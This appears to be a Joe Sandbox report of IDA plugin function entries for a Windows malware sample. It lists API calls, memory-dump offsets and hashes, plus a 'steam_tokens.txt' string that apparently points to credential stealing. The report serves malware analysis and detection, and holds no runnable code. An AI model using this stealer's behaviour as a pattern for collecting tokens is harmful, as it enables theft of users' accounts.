Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 342ba9c3934a6c54fff53cd0cd6e5e15db293c0175f23d1547ba88b03e4ed0df
Instruction ID: 43ba9c4e7b772c09295c3d1ddd3f4580462a4fb142283e9dc1187fbec7936fd0
Opcode Fuzzy Hash: 342ba9c3934a6c54fff53cd0cd6e5e15db293c0175f23d1547ba88b03e4ed0df
Instruction Fuzzy Hash: 48F01271D1110876CB04F7B2EC579ED733CAE54358F90426EF41662092EF78665886AB

Function 00417970 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
wsprintfA.USER32 ref: 004179B6

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction ID: e5f7882cf5308591a3a92d8d4ad10ccbd8a019f3ce2acafa6204cd8ee8253483
Opcode Fuzzy Hash: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction Fuzzy Hash: 2DF0C2B1A00618EBCB10CF88ED45FAAB7BDFB08724F50066AF50492280D7785904CB94

Function 0040B370 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040B820
lstrlenA.KERNEL32(00000000), ref: 0040B834

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmpmemset
String ID:
API String ID: 4023347672-0
Opcode ID: 55b63559ea70b41f4ff6aa6947b706aea6787547217eb75b20c4cf784c0221bd
Instruction ID: 12fecfe212cb7392b3f17e260ebd7fbbf5924c22592aec839546a7360daeb2af
Opcode Fuzzy Hash: 55b63559ea70b41f4ff6aa6947b706aea6787547217eb75b20c4cf784c0221bd
Instruction Fuzzy Hash: 5DE12272911118ABCB14EBA1CC96EEE7339BF14314F40415EF507721A1EF786B98CB6A

Function 0040AD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040AFEA
lstrlenA.KERNEL32(00000000), ref: 0040AFFE

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: fda54ba870425d0353ebd5f642f5a2c0b73bda93ccf07cf203ea57b2e88dabeb
Instruction ID: 4b138641442dd51730d9762ac92e0d5652ebadbf156882a2c3fe3545aa946475
Opcode Fuzzy Hash: fda54ba870425d0353ebd5f642f5a2c0b73bda93ccf07cf203ea57b2e88dabeb
Instruction Fuzzy Hash: 98915572911108ABCF14FBA1DC96EEE7339AF54314F40416EF40772191EF786A98CB6A

Function 0040B0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040B2AE
lstrlenA.KERNEL32(00000000), ref: 0040B2C2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: c2a1971556bf1f268a6ff166481f13a8f88964e7da0f88a34b64ba2c4622adad
Instruction ID: d2f8e92f06f21ad00195b851541a0fca05b03a5e78dc2554d63ff73f5d8ac6c5
Opcode Fuzzy Hash: c2a1971556bf1f268a6ff166481f13a8f88964e7da0f88a34b64ba2c4622adad
Instruction Fuzzy Hash: A9717371911108ABCF14FBA1DC56EEE7339BF54314F40412EF403A2191EF786A58CBAA

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406E0E,00406E0E,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,00406E0E,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction ID: 4499aa19cc86b02a1bac446f32e864e245a0bde13e44bf0a480e22725e368a89
Opcode Fuzzy Hash: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction Fuzzy Hash: 2B41F334A00208EFCB44CF58C494BADBBB1FF44314F1486A9E94AAB385C735EA91CF84

Function 00414B30 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414B6A
lstrcat.KERNEL32(?,024A9488), ref: 00414B88

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 3494839df47293be8e0c2aed85fd027d9701ebc59272e5aed6224a8eaf14a9c4
Instruction ID: 3c3433cccd63aeccdbe2a936e698fd88f8205579aacfd307105c0296dbc1629e
Opcode Fuzzy Hash: 3494839df47293be8e0c2aed85fd027d9701ebc59272e5aed6224a8eaf14a9c4
Instruction Fuzzy Hash: 8B01967690021C67CB24FB60DC46EDE733C9B64304F40415EBA4A57191FEB8AAC98BE5

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,004164BC), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,004164BC), ref: 004010F7

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction ID: f48f966fb8dbc32d8d9482a6eca9c47ea769ab036d71d5fa6551aa32425d7b68
Opcode Fuzzy Hash: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction Fuzzy Hash: 62F02771641218BBE7149BA4AD49FAFB7DCE705B08F304459F940E3390D5719F00DA64

Function 00418830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 88ab045ecfe790ad8ed18e84e1b0c7fe1fbe0ad4e7b91ac096839e012bbb5ae7
Instruction ID: 05b335d21f22619e77aa966aeb7f376ddd46b9d978e537c949d5f100d696e3dd
Opcode Fuzzy Hash: 88ab045ecfe790ad8ed18e84e1b0c7fe1fbe0ad4e7b91ac096839e012bbb5ae7
Instruction Fuzzy Hash: 70F01570C0020CEFCB04EFA5C9496DDBB75EB00324F50859EE82AA7281DBB85B95CB85

Function 00418880 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 51571f28d6a7ed4813964dc8c522bdbe61ee22cda778a467bc1242f5a69e0a37
Instruction ID: 7b71b80bc5ec6c4d76f30a423bf4d75a71df8f4b6dd8708b5fa25dfbbe6c75fa
Opcode Fuzzy Hash: 51571f28d6a7ed4813964dc8c522bdbe61ee22cda778a467bc1242f5a69e0a37
Instruction Fuzzy Hash: 7AE01A31A4034C7BDB55EBA0CC96FEE736CAB44B15F004299BA0C5B1C0EE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction ID: 84cbab3e625f5c703ca2aee7bdcd0b4d96e9050e400d57d2133d1b743e823249
Opcode Fuzzy Hash: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction Fuzzy Hash: 8EE0C27190070222DB2033B66C06B6B329D0B1435DF00052EFA08D7252FE3CF81182AC

Function 004188D0 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 69e24b86b28bd7b079a6e9cca7457a077172f38b64f4847235a515cc131b290b
Instruction ID: 18df4f3d1847af864b4cf5612dd8d404a1e3ff34582bf4e0d6244d1823b45961
Opcode Fuzzy Hash: 69e24b86b28bd7b079a6e9cca7457a077172f38b64f4847235a515cc131b290b
Instruction Fuzzy Hash: B301FBB491420CEBCB14CF98D585BEC7BB5EF04308F248089D9456B350C7785F84DB4A

Function 004098D0 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 004098D8

Memory Dump Source

